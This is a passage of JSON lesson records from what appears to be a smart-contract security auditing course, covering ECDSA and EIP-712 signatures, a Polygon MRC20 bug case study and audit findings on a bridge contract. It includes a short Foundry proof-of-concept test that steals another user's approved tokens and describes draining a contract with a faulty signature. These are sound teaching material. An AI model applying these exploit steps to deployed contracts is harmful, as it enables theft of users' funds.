be [this link](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography).\n\n![](https://cdn.videotap.com/2RjUzLDQpobVxdX7u9lT-23.83.png)\n\n### The Output: VR and S\n\nOnce we feed the private key and message into the black box, the ECDSA, it gives us two outputs, famously known as VR and S. These components make up our unique Digital Signature.\n\n![](https://cdn.videotap.com/IQH3FxNz2xIA59h8rO4F-29.33.png)\n\n## Full Circle: Verifying the Signature\n\nAmazingly, we can use this digital signature, the VR and S, to verify that a message was, indeed, signed by a specific address. This gives a receiver the confidence that the message they received was indeed from the sender it claims to be.\n\nIn simpler terms, this tells us that the sender of the message is the legitimate owner of the address from which the message was sent, bringing us to the very essence and necessity of cryptographic signing - Authentication and Verification.\n\n![](https://cdn.videotap.com/eNLThyvbZVxz4fr0PJHT-36.67.png)\n\nTo wrap it up, Message Signing and Signature Verification is a simple and secure method to verify the integrity of messages, transactions, and data on the Blockchain. It is an integral part of the blockchain infrastructure, ensuring that addresses and their transactions remain authentic and secure.\n\nIn the fast-evolving world of blockchain and cryptography, understanding such key concepts is not only essential but also engaging. It peels back the layers of the complex systems we often use without understanding and puts power back into the hands of users. Whether it's to enhance your professional knowledge or simply for the thrill of learning something new, delving into the wonder of cryptography is remarkably worthwhile. I highly recommend continuing your cryptographic journey from here, you never know where it might lead you next.\n\nStay curious, keep learning, and until the next post, Happy Cryptography!\n", + "updates": [] + }, + { + "lessonId": "226a2d46-7507-450c-97bc-f00a65b744e2", + "number": 14, + "title": "EIP-712", + "slug": "eip-712", + "folderName": "14-eip-712", + "description": "", + "duration": 4, + "videoUrl": "vdP00zrEelCOIE244w02FPCcWzk01PD7O9nTK01hp9STveE", + "rawMarkdownUrl": "/routes/security/7-bridges/14-eip-712/+page.md", + "markdownContent": "---\ntitle: EIP-712\n---\n\n\n\n---\n\n# Untangling the Beauty of Smart Contracts: A Dive Into EIP 712 Structured Data\n\nSmart contracts have revolutionized the way we do transactions and communicate data in the blockchain arena. At the crux of it all lies `MessageHashUtils`, a fundamental tool that greatly simplifies our interactions with these contracts. In this post, we'll take a closer look at the EIP 712 and EIP 191 hash functions, and demonstrate their implementation in an actual contract.\n\nRemember, smart contracts and untangling their complexities might feel intimidating, but once you get the hang of it, it's an engaging puzzle worth solving. So let's get started!\n\n## Breaking Down EIP 712 and EIP 191\n\nIntroducing, the **EIP 712** and **EIP 191**! These are hashing and signing standards for Ethereum smart contracts, making the signing process easier for users.\n\nBefore these standards, users were just told 'hey, sign this message,' and a cryptic byte string was shown. With the advent of EIP 712, Ethereum made user experience way better with formatted requests: 'hey, sign this message: from, to, contents'.\n\nAre you a fan of typed, structured data instead of just byte strings? Well, EIP 712 is perfect for you!\n\nFor those who want to do a deep dive, you can read more about the implementation of EIP 712 and EIP 191 [here](https://eips.ethereum.org/EIPS/eip-712) and [here](https://eips.ethereum.org/EIPS/eip-191) respectively.\n\n![](https://cdn.videotap.com/Q9EBgPOu5axhNmcCfrNw-49.3.png)\n\n## Working with EIP 712: An Example\n\nTo illustrate how to work with EIP 712, let's look at a simple example. We've defined a struct `Mail`, with struct `Person`(from, to) and string contents. This is our structured data. After this, we can break the signed message into its essential components - `V`, `R`, and `S`, and verify this signed data using the `verify` function from the EIP 712 hashing contract (refer to the [github repo](https://github.com/Cyfrin/security-and-auditing-full-course-s23)).\n\n![](https://cdn.videotap.com/3vXpOBtPGNOYDzTe7xew-92.43.png)\n\n## Verifying the Magic: EIP 712 Verification\n\nNow that we've signed the data, how do we verify it?\n\nThe `ECRRecover` function of Solidity comes in handy here. The function hashes the data into a format called a 'digest'. The `ECRRecover` then checks whether the 'from' component of the message is correct using specific input parameters.\n\n> Don't miss out on learning more about how important `ecrecover` is by checking out the Solidity documentation [here](https://docs.soliditylang.org/en/v0.8.23/smtchecker.html#function-calls).\n\nNOTES\n\n1. The digest is essentially the hashed data put into a specific format.\n2. Breaking the signed message into `V`, `R`, `S` components forms the input for `ecrecover`.\n\nYou can explore a bit more about this part with a practical example in the `Example.sol` contract in the course's GitHub repository.\n\n![](https://cdn.videotap.com/3Bx9eDqrngeXdafn4LDv-197.19.png)\n\n## Let's Watch a Mistake: Polygon Case Study\n\nOrdinarily, low-level signature signing seems like a tedious task. But here's an interesting case study on how forgetting to double-check a precompiled `ECRRecover` function return value led to an exploitable vulnerability on Polygon...\n\n![](https://cdn.videotap.com/BjhKxp4Deaz9YZi3bwyj-215.68.png)\n\n## Wrapping Up\n\nSo that's a quick run-through on `EIP 712` and `EIP 191`, two important specifications that make handling and signing Ethereum smart contracts a breeze. Though it might seem a little complex, with a bit of practice, you'll find it's not so scary after all! Don't forget to check out the next part where we dive into a Polygon case study. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "18c9b150-0b32-4eb9-9372-ce2497d2656b", + "number": 15, + "title": "Case Study: Polygon", + "slug": "polygon", + "folderName": "15-polygon", + "description": "", + "duration": 9, + "videoUrl": "7WW5yHQv7mvZuW9qM4Lu4G2DdUU101LcSXVAk6zk8jzI", + "rawMarkdownUrl": "/routes/security/7-bridges/15-polygon/+page.md", + "markdownContent": "---\ntitle: Case Study - Polygon Precompile\n---\n\n\n\n---\n\n# Hunting for smart contract bugs: How a developer identified a $7 billion exploit\n\nIf you fancy yourself a tech-savvy problem solver or a capable and competent coder, the world of smart contract bug bounties could be your next lucrative adventure. Not only are these exploits well-paying when correctly identified, but they also aid in securing the ecosystem against hackers.\n\nI recently had the occasion to interview a developer who discovered a $7 billion bug and was rewarded with $2.2 million for his conscientious reporting of this vulnerability. By exploring his successful case, we can learn the key strategies and tools you'll need to find your million-dollar bounty.\n\nLet's delve into this intriguing world of hunting for smart contract bugs.\n\n## Matic blockchain, Polygon, and the MRC20 contract\n\nOn May 31, 2020, the Matic blockchain, which later rebranded as the Polygon chain, was launched. An [EVM](https://ethereum.org/en/developers/docs/evm/) compatible blockchain, it's known for its low gas fees, rapid block times, and recent ventures into [ZK technology](https://polygon.technology/polygon-zkevm).\n\nIf we return to the beginning, block zero to be precise, we find ten transactions in this Genesis block. One of these transactions created the MRC20 contract. This contract allowed users to sign a transaction without sending it, meaning they could offset gas costs. For example, somebody else could be responsible for these costs. This technique is referred to as a metatransaction, which is better explained in [EIP 712](https://eips.ethereum.org/EIPS/eip-712). Initiated with almost 10 billion MATIC, this contract facilitated these gasless transactions. However, it concealed a critical exploit, an oversight that could potentially empty the contract of its entire content.\n\n## The discovery of the dormant exploit\n\nOn December 3, 2021, Leon Spacewalker (a pseudonym of our developer hero) submitted a report about this potential vulnerability to Immunify. Less than two days later, another astute individual discovered this exploit. Unfortunately, this other individual was a malicious hacker and successfully pilfered 800,000 MATIC tokens from the contract.\n\nPolygon was forked two days after the initial report, and the contract was swiftly mended. From December 5, 2021, the MRC20 contract was no longer vulnerable to this exploit.\n\nBut what exactly was this bug, and how did it remain unidentified for so long? Let's turn our attention to the function that enabled these gasless transactions.\n\n## Anatomy of the bug - A detailed look\n\nThis function appears benign at first glance. It requires a user's signature, data, and an amount to send, an expiration date, and a recipient for the money. Running certain checks, it retrieves the data hash required for the metatransaction and ensures this data hash hasn't been previously used. Following these steps, it then launches an EC recovery function.\n\nThis recovery function, ecrecover, verifies the origin of a signed transaction. However, should it encounter an error, it simply returns the zero address without viability checks. Even though there is a condition to ensure that this return is not zero, the ececovery function still returns zero upon encountering an error. Herein lies the vulnerability.\n\nIf the function were to check the overall validity of this function and not just the zero address, the problem would've been handled. But alas, that check was overlooked. The transfer function, acting as the last line of defense, should at least verify the 'from' address. But it simply transfers money out of the MRC20 contract without making any such checks.\n\nThe exploit was then straightforward: Just passing a faulty signature, setting any quantity, and denoting a receiver. This method would essentially drain the entire MATIC balance.\n\n### Prevalence of dormant bugs in the tech world\n\nIt's both peculiar and surprising that this bug remained latent for about 1.5 years, only to be discovered by multiple individuals within a short span. After discussing with the Immunified team, they provided a remarkable insight: these sleeping exploit beasts' simultaneous awakenings are a fairly common phenomenon. As soon as media outlets popularize new bugs, bug hunters flock to identify them in other plausible places.\n\nDespite this seemingly random event, we can extract several valuable lessons from this saga.\n\n## Strategies to identify bugs\n\nMy conversation with Leon yielded some precious tips and tricks he employed to discover this and numerous other security loopholes. Note that a basic understanding of Solidity and appropriate smart contract fundamentals are desirable assets in watching your million-dollar bounty surface.\n\n### 1. Distinct advantage - Find your edge\n\nEvery bug bounty hunter must have a unique advantage. Leon's advice to anyone entering this space, hone that specific skill, that edge over other smart contract developers, bug hunters, and protocols.\n\n### 2. Know the subject - Understand the protocol\n\nKnowing the specifics of the protocol in-depth is one of the most common strategies to find bugs. Reading the documentation, experimenting with the protocol implementation, etc., if you grasp every corner of the protocol, you're likely to identify aberrations as well.\n\n### 3. Research and Grow\n\nResearch on specific bugs and uncover projects that have those loopholes. This technique, requiring a solid understanding of diverse exploits and maintaining awareness of unexplored best practices, simplifies your search as you're only seeking a specific chunk of code in a project.\n\n### 4. Speed is key\n\nBeing quick in identifying new bounties and updates surely benefits in this context. Equipped with the right tools, such as Immunified discord BBP notifications, one can always stay ahead.\n\n### 5. Devising unique strategies - Be creative\n\nLeon often visited community forums projecting a potential bug bounty. He would then start exploring their smart contracts even before approval to gain a head start.\n\n### 6. Arm yourself with the right tools\n\nKnowledgeable bug hunters use various helpful tools. Solidity Visual Developer, Hard Hat Foundry, Brownie, Dune Analytics, and Etherscan are a few examples.\n\n### 7. Audited projects are not bug-free\n\nLeon has discovered numerous vulnerabilities in projects that top firms had audited. So, do not be disheartened by audited projects.\n\n### 8. Find your niche\n\nGaining industry-specific knowledge can dramatically improve your ability to uncover bugs.\n\nAlthough the example discussed here is quite specific and outlines a single bug hunt, these tips can be generalized for anyone hopeful of winning a sizeable bug bounty.\n\nAre you prepared to accept the challenge?\n\n![](https://cdn.videotap.com/MuftBpuNZSZv4cmAeOuU-506.03.png)\n", + "updates": [] + }, + { + "lessonId": "77477bf0-095d-4ce5-93e0-026c4ba36d8b", + "number": 16, + "title": "Signatures Recap", + "slug": "signature-recap", + "folderName": "16-signature-recap", + "description": "", + "duration": 1, + "videoUrl": "N21xX6007LOERBNigJ3lZx1LhiLcZZL9q39ydbdg2qDE", + "rawMarkdownUrl": "/routes/security/7-bridges/16-signature-recap/+page.md", + "markdownContent": "---\ntitle: Signatures Recap\n---\n\n\n\n---\n\n# Understanding the Magic of Digital Signatures and Blockchain: A Simple Tutorial\n\nWelcome back, fellow blockchain enthusiasts. We've covered a lot in our past discussions, and this post will focus on one of the most fundamental aspects of blockchain technology: digital signatures. By the end of this read, you'd be able to comprehend how digital signatures work and how they are minted using Elliptical Curve Digital Signature Algorithm (ECDSA). Don't worry! We've broken it down into the simplest terms possible.\n\n## How Digital Signatures Work\n\nDigital signatures underpin the integrity and security of transactions within a blockchain ecosystem. These contrivances act as a proof of authenticity, confirming that the message has been sent by a verified sender and has not been tampered with, during transmission.\n\n![](https://cdn.videotap.com/jSSntLnGkMJPWVtSFsUs-6.19.png)Here's a simplified snapshot of the digital signature process:\n\n1. Your Private Key + the Message > **ECDSA** > Output (r,s values) = Signature\n2. Signature + Original Message > **ECDSA Verification** > Sender's Public Key\n\n### Elliptical Curve Digital Signature Algorithm\n\nThe core of creating a digital signature is an intelligent mathematical process known as the Elliptical Curve Digital Signature Algorithm, or ECDSA. Essentially, you take the private key and the message and feed them into this algorithm.\n\nThis operation generates a signature in a specific format, often referred to as _r_ and _s_- the crucial parts of your digital signature. These signatures are safe to put on-chain as they do not contain any public information.\n\n### Verifying The Signature\n\nHow can we ensure that the message was indeed signed off by the claimed sender? Verification is the process that answers this question.\n\nYou take the signed message plus the reported _r_ and _s_ values and plug them into the verifying component of the ECDSA. Adding the data they supposedly signed results in the output, which is essentially the signatory of the message.\n\nThis verifying component is known as an `ECR precompile`, a part of the elliptical curve digital signature mechanism.\n\nThe magic happens when `ECR precompile` outputs the same person you expect to have signed the message. If it does, then voila! It's an honest transaction, and that's precisely what we want to achieve.\n\n> \"In the world of cryptography and digital transactions, your signature is the cornerstone of credibility.\"\n\n## Wrapping Up\n\nIn summary, a digital signature is akin to your digital fingerprint. With ECDSA's wizardry, a simple, unique combination of values (comprising of a private key, a message and the _r,s_ values) embodies your authority and ensures the authenticity of transactions. Understanding these fundamentals of how signing and verification work is integral to mastering blockchain technology.\n\nOnwards, to a more secure and transparent future.\n", + "updates": [] + }, + { + "lessonId": "0fe0657b-cb48-4847-9ed2-8ac6af842ccc", + "number": 17, + "title": "Recon Continued", + "slug": "recon-continued", + "folderName": "17-recon-continued", + "description": "", + "duration": 6, + "videoUrl": "k6II2HndqksTgobKwPIsL4WuLGwgNvULr00YCkpSmgGE", + "rawMarkdownUrl": "/routes/security/7-bridges/17-recon-continued/+page.md", + "markdownContent": "---\ntitle: Recon (continued)\n---\n\n\n\n---\n\n# Decrypting OpenZeppelin's ECDSA Utility Library: An In-Depth Look\n\nIn the vast world of smart contracts, a significant part of understanding how everything works involves understanding Elliptic Curve Digital Signature Algorithm (ECDSA) operations. ECDSA is crucial in secure data transactions in these systems. In this article, we will delve deep into OpenZeppelin's ECDSA assembly code, dissecting its content and functions.\n\n## Understanding ECDSA and OpenZeppelin\n\nECDSA and related technologies help sign and validate data. OpenZeppelin is a comprehensive utility library that provides a plethora of functions to cater to these needs. The given transcript discusses two Ethereum functions written in assembly.\n\n> \"These are all basically ways to help sign and validate data. And this is important for us for reasons you'll see in a bit.\"\n\nFollowing this, we have the ECDSA library, sourced from OpenZeppelin, which focuses on elliptical curve digital signature algorithm operations.\n\n## ECDSA Implementation: Try Recover Function\n\nAs we progress further into the script, we encounter another core utility `Try Recover`. This function extracts the signature constituents `R`, `S` and `V`— the value components of the signature all housed in a signature with length 65. An understanding of how `Try Recover` operates is significant in achieving signatures and verifications.\n\n![](https://cdn.videotap.com/Groo7EeK5U7DGEFAK2UT-131.57.png)\n\nThe `Try Recover` function retrieves the address responsible for signing a hashed message with a signature or an error, should that arise.\n\n## L One Vault & Signatory Examples\n\nFollowing this, we introduce L One Vault. As part of subsequent steps, we will take you through some signing examples and elaborate on the ins-and-outs of signing.\n\nIf you're not too familiar with signing or cryptography, I recommend `ChatGPT`.\n\n## Deep Diving into the L One Boss Bridge\n\nThe `L1BossBridge` contract uses several features, including Safe ERC20, to process ERC20 tokens smoothly. A feature of this contract is that it deals with only a single token— `L1Token.sol`.\n\n![](https://cdn.videotap.com/IbRV6yoOBBUIBRWA1Ic2-191.37.png)\n\nThe contract also incorporates a deposit limit mechanism that restricts the number of tokens one can deposit. It operates on principles which allow one bridge per token and one vault per token.\n\n```javascript\n// Immutable vault and token declaration\nIERC20 public immutable token;\nL1Vault public immutable vault;\n```\n\n![](https://cdn.videotap.com/0eRk64LOa0VdtxK4nKoF-227.25.png)\n\nTo facilitate token movement from L1 to L2, certain user accounts are distinguished as signers. The contract also incorporates event triggers and error handling mechanisms to manage prospective situations effectively.\n\n## Contract Approval and Miscellaneous Functions\n\nAnother key feature to note here is the `vault.approveTo` function where the `L1BossBridge` provides max withdrawal power and approves ERC20s inside the vault.\n\n```javascript\n// Vault Approval to handle withdrawals\nvault.approveTo(address(this), type(uint256).max);\n```\n\nIn addition to these, there are more, straightforward functions like `pause` and `unpause` that can halt and resume contract processes.\n\nFinally, the functionality to set signers is available to the owner only. There is also a provision for disabling an account, prompting necessary questions about handling situations where an account is disabled mid-process.\n\n## Conclusion\n\nThrough this exploration, we see the ECDSA utility library's vast potential, specifically OpenZeppelin's library. Not only does it allow for more effective and streamlined worksheet functions within the Ethereum environment, but it also provides a window into secure transactions in the blockchain world.\n\nRemember, just as the speaker in the transcript alluded, there might be bugs related to signatures, so consider delving into these libraries and try deconstructing them yourself to foster your understanding of how they work.\n", + "updates": [] + }, + { + "lessonId": "bd0cfce8-5121-4244-8dfa-a76a04d30a38", + "number": 18, + "title": "depositTokenToL2", + "slug": "deposit-token", + "folderName": "18-deposit-token", + "description": "", + "duration": 2, + "videoUrl": "I009kVxdv1EopfnFCnpgvb84Z00gxgx8dYaxWxF2CCqxI", + "rawMarkdownUrl": "/routes/security/7-bridges/18-deposit-token/+page.md", + "markdownContent": "---\ntitle: depositTokenToL2\n---\n\n\n\n---\n\n# Understanding the depositTokenToL2 function\n\nIn this blog post, we delve into an essential part of blockchain contract management, especially in relation to the Layer 2 (L2) scaling solutions. One exciting function that facilitates these activities is the `depositTokenToL2` function. It operates in a decentralized environment, orchestrating transactions by locking tokens in the vault and triggering relevant events.\n\n![](https://cdn.videotap.com/pfxr2xqJnxlfGXz1ojht-5.66.png)\n\nThis entry aims at delivering a detailed commentary on how this function works, how to utilize it, and why it is an integral cog in dApp operations.\n\n## An Overview of `depositTokenToL2` Function\n\nThis function is a fundamental aspect of L2 operation. When you call `depositTokenToL2`, there are nodes in waiting to listen and process it, subsequently unlocking the tokens on the L2. This unlocking initiates the minting process on the L2, which is an essential part of the centralized process of the blockchain operation facilitated by this function.\n\nIn simpler terms, it's like we have built a lock (a vault) and unlocked it with a specially designed key (the L2 minting process).\n\nIt's essential to note the three parameters of this function:\n\n1. `from`– the address of the user depositing the tokens\n2. `L2 recipient` – the address of the user receiving the tokens on the L2\n3. `amount` – the value of tokens to deposit.\n\nSpecifically, the function accepts these parameters when the system is not paused, adhering to the condition that the sum of `balance(address(vault))` and `amount` must not exceed the deposit limit.\n\n> This function has a limit of 100,000 tokens. This means you can only have a maximum of 100,000 tokens on the Layer 2 network at any given time.\n\nThe function attains token safety through a transfer to the vault's address, scaling the stipulated amount per the deposit limit.\n\n![](https://cdn.videotap.com/VZtxKixeFPCh2aosAGVO-59.4.png)\n\n## The Importance of Emitted Events\n\nThis function's operation is not complete without an integral event emission: the deposit and unlock events.\n\nThese events, if configured correctly, send vital signals to an off-chain service; hence careful attention must be paid to them when coding or interpreting what this function does.\n\nThe events essentially carry these parameters: `from`, `to`, and `amount`. An off-chain service awaits and listens for these events to facilitate the unlocking of tokens on the L2.\n\nWhile this might seem a tad complex, it can be visualized as a messaging system. The function sends messages (events) that inform the system of where it is time to unlock the tokens on L2.\n\n```js\n// Example of the function parameters in solidity\nfunction depositTokenToL2 (address from, address L2Recipient, uint256 amount) external {/* function body*/}\n```\n\n## Wrapping Up\n\nThe `depositTokenToL2` function, with its event emissions and token transfers, is a crucial part of the blockchain's L2 operations. Understanding the principles of such a function can aid anyone on their journey to mastering blockchain contracts and their integration with L2 solutions.\n\nGet familiar with this type of process and continue your exploration in the vast yet thrilling world of blockchain technology.\n", + "updates": [] + }, + { + "lessonId": "730a802e-91db-47c4-b9c1-7abdc6fd7e0e", + "number": 19, + "title": "Exploit: Arbitrary From", + "slug": "arbitrary", + "folderName": "19-arbitrary", + "description": "", + "duration": 3, + "videoUrl": "9bsX7eSOMPhvP9rnvXqx01pX9OeirAfJDT00BxwitEQwk", + "rawMarkdownUrl": "/routes/security/7-bridges/19-arbitrary/+page.md", + "markdownContent": "---\ntitle: Exploit - Arbitrary \"from\" allows users to steal tokens\n---\n\n\n\n---\n\n# Nail-biting Moments with Slither: Uncovering Critical ERC20 Vulnerabilities\n\nHey You! Welcome back! In this post, we'll dig into the enlightening world of Slither, our good friend from [Trail of Bits](https://trailofbits.com/). It is well-equipped to unearth potential code vulnerabilities, and guess what, we've stumbled upon a dicey one! Exciting, right? Buckle up, let's dive in.\n\n## The Problem Unveil\n\nSo, revisiting where we left off, we managed to arrive at a critical point at our function with the help of Slither. Quite the Sherlock, isn't it? Well, let me just relay the discovered issue. We discovered the issue with the 'bossbridge deposit tokens to l2' which utilizes 'arbitrary from in transfer from'. Sounds gibberish, right? Let's decode it.\n\nThe issue pops up when a detection is made that \"message sender\" is not used in 'from in transfer from'. Don't worry, I will walk you through an exploit scenario for clarity (You wouldn't feel good if we don't decode it, and you know it!).\n\n## The Exploit Scenario\n\nConsider our characters, Alice and Bob. Alice approves her ERC20 tokens to be spent by the contract. Enter a malicious entity, Bob, who utilizes this opportunity to call on the contract and set Alice's address as the '`from`' parameter in 'transfer from'.\n\nCan you guess what happens next?\n\n> 'Bob takes off with Alice's hard-earned tokens owing to the contract permission established by Alice.'\n\nPretty severe, isn't it? This just started becoming more interesting than an Agatha Christie novel!\n\n## The Vulnerability In-Depth\n\nLet's try to visualize this scenario. We have Alice, setting off to perform a transaction after calling '`approve of token to bridge`.' Bob, the opportunist, notices this and decides to make his move. He calls '`depositTokensToL2`', all the while using Alice's address for the '`L2`' recipient, which would now be Bob himself. He sets the amount as all her money (sounds like pure evil!). Alice, unsuspecting, has approved this contract, thus allowing Bob's call to pass.\n\nThis would enable the transfer of all Alice's money to Bob on layer two. A chilling scenario to envision!\n\n## Slither - The Hero Unseen\n\nIf it wasn't for Slither grabbing hold of this at audit, the consequent results would be devastating. Figuring out the severity and impact, it's evidently high - Alice would be losing all her tokens to Bob. Depicting the likelihood reveals another elevated risk - this event can transpire anytime Alice calls 'approve'. Consequently, things are looking upwards of 'super high'. While some may tag this as 'crit', we can unanimously agree on labeling it as a 'high audit' critical issue.\n\n_A critical excerpt from Slither's find - \"If a user approves the bridge, any other user can steal their funds\"._ Quite hair-raising, isn't it? It's an unintended consequence stemming from trust in contracts — certainly not a scenario we envision.\n\n## Crafting a Proof of Code\n\nAfter such a thrilling ride, let's take a moment to breathe and give a thought to envisaging the proof of code for our discovery.\n\nStick around for the next part where we dive deep into writing a foolproof, high-safety code, ensuring vulnerabilities like this are effectively mitigated.\n\nWith this, we’re signing off for now, continue staying curious and happy coding!\\\\\n", + "updates": [] + }, + { + "lessonId": "96c18ccd-ac6e-466d-96de-d03f565fcd68", + "number": 20, + "title": "Arbitrary From: Poc", + "slug": "arbitrary-poc", + "folderName": "20-arbitrary-poc", + "description": "", + "duration": 4, + "videoUrl": "tjGKINP7sYzrOQSXpLV1bru9aYtRVdMJ6ynAun56KxI", + "rawMarkdownUrl": "/routes/security/7-bridges/20-arbitrary-poc/+page.md", + "markdownContent": "---\ntitle: Arbitrary POC\n---\n\n\n\n---\n\n# Testing Token Movement In Solidity\n\nIn this blog post, we will delve into a test suite in Solidity, focusing on testing the movement of approved tokens from one user to another. By simulating a situation where a malicious actor can swoop in and steal tokens, we will unearth potential vulnerabilities and show how to spot a high-severity bug with a tool like Slither.\n\n## Writing A Test Suite Function\n\nLet us begin by scrolling down to our current test harness. Our primary objective is to pen a new test suite function; we will adopt the name `testCanMoveApprovedTokensOfOtherUsers` for this function. Our mission is to verify an occurrence – the actual transfer or move of tokens from one user to another.\n\nTo achieve this, we will repurpose some sections of our existing test suite.\n\n![](https://cdn.videotap.com/kSIFNqF1jGk1jsDF3enL-24.57.png)\n\nWithin our current test suite, we have entities such as `user`, `deployer`, `operator`, `token`, `tokenBridge`, and `vault`. We also have a user account named Alice, tagged in this context as 'poor Alice'.\n\n## Approving Tokens For Transfer\n\nFirst, Alice has to approve the `tokenBridge` to move her tokens to Layer 2. She will just use the L1 Token object (described in code as `L1Token`) and call the `approve` method, passing in the `tokenBridge’s` address as well as the maximum token number, expressed as `uint256.max`.\n\n```js\nVM.prank(Alice);\nL1Token.approve(addressTokenBridge, uint256.max);\n```\n\n![](https://cdn.videotap.com/u94ZnNK43eS6i6Y9HY71-58.98.png)\n\n## Defining A Malicious Actor\n\nAfter Alice has approved the Token Bridge to lawfully move her tokens, we introduce 'Bob', who maliciously swoops in to steal and deposit all of Alice's tokens on Layer 2. To do this, we first need to obtain the token balance of Alice.\n\n```js\nuint256 depositAmount = Token.balanceOf(userAlice);\n```\n\nWe now need to create an address for our mischief-maker, Bob. Assuming Bob's address as `attackerAddress`, we start a prank with this address and make Bob execute a `depositTokensToL2` call.\n\n```js\naddress attackerAddress = make.addr(attacker);\nvm.startPrank(attackerAddress);\n```\n\nNow, Bob can steal Alice's tokens by depositing them into his own account on Layer 2.\n\n```js\nTokenBridge.depositTokensToL2(userAlice, attackerAddress, depositAmount);\n```\n\n## Ensuring Data Integrity With Emit\n\nIn this scenario, we need to emit an event since the tokens are being locked into the `vault`. Emitting the correct details in this event serves an important role as the off-chain service, which listens to these events, triggers the unlocking on Layer 2.\n\n```js\nvm.expectEmit(\n addressTokenBridge,\n emitDeposit(userAlice, attackerAddress, depositAmount)\n);\n```\n\n## Asserting The State\n\nNow, we make assertions to verify that the token balance of Alice is zero and the token vault's balance equals the `depositAmount`.\n\n```js\nassertEqual(Token.balanceOf(userAlice), 0);\nassertEqual(Token.balanceOf(addressVault), depositAmount);\n```\n\nOnce the verification process is complete, we stop the prank.\n\n```js\nvm.stopPrank();\n```\n\n## Verifying The Test Case\n\nOn running the test suit, we observe that the test case succeeds, indicating that there's a high-severity bug - easy pickings for a malicious actor.\n\nThis explorative approach reveals how even advanced code bases can fall prey to serious issues, and tools like Slither prove indispensable in identifying them. So, let's continue analyzing with Slither and see what other 'goodies' we can find!\n\n> \"Even in some of these more advanced code bases, tools like Slither can find really good issues. So thank you, Slither. Let's keep walking down, Slither. Let's see what other goodies are in here. This turned out to be a high.\"\n", + "updates": [] + }, + { + "lessonId": "20c4bf89-7c19-49f0-a902-420d06188892", + "number": 21, + "title": "Recon Continued (again)", + "slug": "recon-continued-again", + "folderName": "21-recon-continued-again", + "description": "", + "duration": 5, + "videoUrl": "6fX7WXRImMzawIVLKIMwGITCyB8eGpZbXlKy01kAWD5I", + "rawMarkdownUrl": "/routes/security/7-bridges/21-recon-continued-again/+page.md", + "markdownContent": "---\ntitle: Recon Continued Again\n---\n\n\n\n---\n\n# Auditing For Ethereum Vulnerabilities: A Deep Dive\n\nEver felt like unraveling the intricacies of handling vulnerabilities in Ethereum applications? You're at the right place. Let's go ahead and walk you through the eccentric realm of vulnerability handling using the Slither code analysis tool.\n\nBefore proceeding, bear in mind that this journey does not aim to demoralize the workings of Ethereum applications, but to encourage developers to safeguard and optimize them further.\n\n## Unchecked Return Value: Be diligent or Perilous?\n\nMoving along, our next houseguest is the 'approve' function. This method seems to be ignoring its return value. This irregularity, if unchecked, could lead to catastrophic consequences.\n\nOn investigating, Slither reports that while calling the SafeMath `add` method, we aren't storing the resultant sum, rendering the operation meaningless.\n\nWhile this isn't an issue all the time, for a more secure and tight-knit application, we should validate the return values just to make our code robust.\n\nHowever, going by the information at our disposal, it's not a huge dealbreaker. Next time, Slither, next time.\n\n## Zero Check Madness\n\nSlither is back at it again, pointing out the absence of 'zero check'. Fortunately, we had the foresight to check out the README, which states this clearly: they've deliberately omitted 'zero checks' for input validation to preserve some gas. Nice try Slither, but we're covered.\n\n## Navigating The Detectors: Reading Between The Lines\n\nHere's a fun part: handling reentrancy. This essentially implies an external call not followed by a computation, rather it makes an immediate deposit. Let's take a closer look.\n\nWe found that the L1 BossBridge deposit function does decide to deposit tokens without performing a computation, ergo, no effect. With our code set to accept only our L1 token, one without any attached callback functionality, this poses no significant security threat.\n\nDespite this, we nonetheless note it as being preferable to follow CEI (Check-Effects-Interactions).\n\n## The Unerring Eye Of Slither: Red Flags Galore\n\nSlither, understandably, doesn't like assembly instructions and different versions of Solidity being used. All these are valid concerns and necessitate modifications of their own.\n\nThe 'deposit limit' being mutable is a red flag and it should generally be set as a constant.\n\n```js\n//@Audit Info: Deposit Limit Should Be Constant\n```\n\nThis is one of the real and impactful bugs pointed out by our trusty friend, Slither. While it has led us on a merry chase with some informational stuff and a myriad of future functions, it did deliver in the end, which makes for a fantastic learning experience!\n\n## The Future: A Call To Invariance Testing\n\nTake a step back, and soak in everything that's happened. Before we ride off into the sunset, we'd like to urge you to take the future of protecting codebases very seriously, and commit yourself to write stateful fuzzing and invariance test suites.\n\n\"Pause the video right now, try to write down some invariants. Understand what are the invariants, and then write your own fuzzing test suite.\"\n\nSlither and bossbridge have given us some food for thought and armed us with tools to go fearlessly into the world of Ethereum applications. However, always remember: there's always room to explore, learn, and improve.\n\nHappy coding, my friends! Remember, the codebase is not a minefield if you know where the mines are!\n", + "updates": [] + }, + { + "lessonId": "491bf2d2-a33f-42fa-b32b-0e20457c4d4a", + "number": 22, + "title": "Vault", + "slug": "vault", + "folderName": "22-vault", + "description": "", + "duration": 4, + "videoUrl": "g6QF8ql51Gymgf84dIG9bsuRqA6o0082SyAvUogwKbT00", + "rawMarkdownUrl": "/routes/security/7-bridges/22-vault/+page.md", + "markdownContent": "---\ntitle: Exploit - Vault can infinite mint unbacked tokens\n---\n\n\n\n---\n\n# A Deeper Dive into the MEV Attack and Uncovering a Major Security Flaw\n\nExciting revelations generally come with a bit of craziness, and today, we bring to you one such incident—an astonishing vulnerability. At first glance, it appears captivatingly cool, yet incredibly daunting. We reveal a flaw that allows any user to steal funds after the bridge receives approval from someone. This scenario might lead to MEV (Miner Extractable Value) attacks. Intriguing, right? Let's unravel this mystery together.\n\n## Uncovering a Significant Security Threat\n\n![](https://cdn.videotap.com/yngYAVIajAxqq6gSChMU-18.png)\n\nThe perplexing part is when the vault, intending to authenticate the bridge, essentially leads to a chain of apprehensive questions. What happens if the safe haven we call the vault approves the bridge? Does that mean a user can filch funds from the vault? Did we just expose ourselves to another audit? Or is this a 'high'?\n\nWe can't let this issue slide. So, let's explore this further.\n\n## What does Vault's Approval to a Bridge Mean?\n\n```javascript\nfunction testCanTransferFromVaultToVault() {...}\n```\n\nThe vault, as the entity approving the bridge, raises alarming questions. Let's consider a user initiates a transfer from the vault to the attacker. Ambiguously enough, could this process occur for any amount and for any token within the bridge? That would be a disastrous outcome!\n\nOur next step? Writing a test to verify this vulnerability.\n\n## Is There a Limit to Money Minting?\n\n![](https://cdn.videotap.com/bnfWcdfv7XuRYwEfv14a-84.png)\n\nWith our test, we are aiming to transfer from the vault back to itself. When we assert ourselves to be the recipient, the tokenized assets stay within the vault—this causes an emission of a deposit event from the vault to the recipient on the L2 layer.\n\nHere's where things become startlingly interesting. If the tokens stay within the vault infinitely, could we mint unlimitedly on the L2 layer? Let's try this out.\n\n## 